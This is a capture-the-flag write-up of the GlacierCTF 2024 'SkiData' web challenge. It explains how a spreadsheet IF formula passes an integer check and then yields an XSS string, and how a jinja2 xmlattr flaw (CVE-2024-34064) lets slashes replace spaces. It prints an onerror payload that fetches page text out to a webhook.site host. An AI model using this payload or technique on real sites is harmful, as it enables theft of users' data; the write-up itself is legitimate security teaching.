team-logo
Published on

GlacierCTF - SkiData

Authors

Introduction

On November 23, 2024, the GlacierCTF competition took place. One of the challenges I had the pleasure of solving was the skidata task in the web category. Feel free to read on!

Writeup

The goal of this challenge is to prepare an xss payload that steals the content of the html tag (where the flag is located). The app allows us to upload xlsx files (a sample xlsx file is attached to the challenge).

The only place where xss can occur is the following line from race_detail.html:

templates/race_detail.html
<img {{ style(result.rank)|xmlattr }}  alt="rank-img"/></td>

The style function is as follows:

app.py
def style(rank):
    return {f"rank-{rank}": "1", "src": f"/static/rank-{rank}.png", "width": "25px", "height": "25px"}

Therefore, our xss payload must be in the variable rank , which is extracted from the xlsx file via the pycel parser. Unfortunately, it's not that simple because the code includes a check to see if the content of the C cell (where the rank is located) is an integer:

app.py
excel = ExcelCompiler(filepath)

for row in range(2,12):
  ...
  if type(excel.evaluate(f'Sheet1!C{row}')) is not int:
      flash(f"Sheet1!C{row}, Rank must be an integer")
      return redirect(request.url)
  
  excel.evaluate(f'Sheet1!E{row}')
  excel.set_value(f'Sheet1!E{row}', "Imported")
  ...
  rank = excel.evaluate(f'Sheet1!C{row}')
  ...

Fortunately, the code evaluates the value of the C cell twice, so we can manipulate the data inside the xlsx file in a way that the first evaluation returns int number and the second one returns the string containing the xss payload. We can achieve all this thanks to the existence of the following lines of code, which are executed between two evolutions of C cell:

app.py
excel.evaluate(f'Sheet1!E{row}')
excel.set_value(f'Sheet1!E{row}', "Imported")

So, the approach is as follows:

  • put, for example, the number 2 into cell E3
  • then put the following formula into cell C3: =IF(E3=2,1337,"/onerror=fetch('//WEBHOOK.site/?a='+document.querySelector('.me-3').textContent)/")
xlsx file containg payload

Therefore, when the first excel.evaluate(f'Sheet1!C3') is executed, the result will be an integer number (1337) because E3==2. Then, the line excel.set_value(f'Sheet1!E3', "Imported") will change the contents of cell E3 to Imported, so calling the =IF formula again will return a string with the xss payload.

Additionally, xmlattr in jinija2 version 3.1.3 is vulnerable to CVE-2024-34064. Hence, our xss payload should use / instead of spaces as above.